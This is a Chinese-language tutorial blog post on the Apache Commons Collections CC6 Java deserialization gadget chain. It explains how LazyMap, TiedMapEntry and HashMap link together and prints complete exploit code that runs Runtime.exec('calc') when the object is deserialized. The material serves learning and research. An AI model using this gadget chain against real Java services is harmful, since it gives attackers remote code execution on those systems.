前置知识:
CC6是用到了CC1的前半条链以及URLDNS链的一部分,下附以前的文章供参考共同学习。
CC6:
链子图解:
分析:
除了在TransformedMap类里面可以调用transform方法,在LazyMap里面也可以通过get()方法调用transform方法。
LazyMap:
在get方法中:我们可以看到,它从一个map中获取给定的 key 对应的值。如果这个key不在map中,它会使用一个factory对象来创建一个新的值,进而在factory.transform(key)中,调用了transform,我们只需要把factory换成ChainedTransformer即可
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
我们如何控制传入factory的值呢?其实在LazyMap里面有一个decorate方法,可以满足我们的需求。
后续就要寻找谁调用了get方法,这里面有很多类,在cc6用到的是TiedMapEntry类里面的getValue()方法,在getValue()方法里面调用了get()方法,
TiedMapEntry:
那么谁又调用了getValue()方法呢?其实在TiedMapEntry类里面有一个hashCode()方法,如果value不为null,就会调用hashCode()方法,
在URLDNS链中,我们学习到了HashMap里面的hash方法()中调用了hashCode()方法。
至此CC6整体思路初步成型。
问题:
一、在序列化时候会执行put方法
和URLDNS链一样,在序列化的时候就“已经弹出来计算器”了,因为在调用put()方法的时候就已经实现了hash()的调用。
所以我们还需要利用反射
解决方法一:
可以修改transform[]数组:
//将真正的transformer数组设置
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
解决方法二:
可以修改LazyMap:
利用反射去修改lazyMap里面的factory属性的值
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static java.lang.Runtime.*;
public class cc6 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
// ChainedTransformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap
HashMap map = new HashMap<>();
Map lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));
//TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Rsecret2");
HashMap map2 = new HashMap<Object,Object>();
map2.put(tiedMapEntry,"Rsecret2");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(map2,chainedTransformer);
serialize(map2);
unserialize(map2);
}
private static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}
这样第一个问题就解决了。
二、反序列化会生成一个key
通过打断点调试可以发现。
解决方法:
把重新put的key删除即可
lazyMap.remove("Rsecret1");
最终exp:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static java.lang.Runtime.*;
public class cc6 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
// ChainedTransformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
//TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Rsecret1");
//HashMap
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"Rsecret2");
lazyMap.remove("Rsecret1");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
serialize(map2);
unserialize(map2);
}
private static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}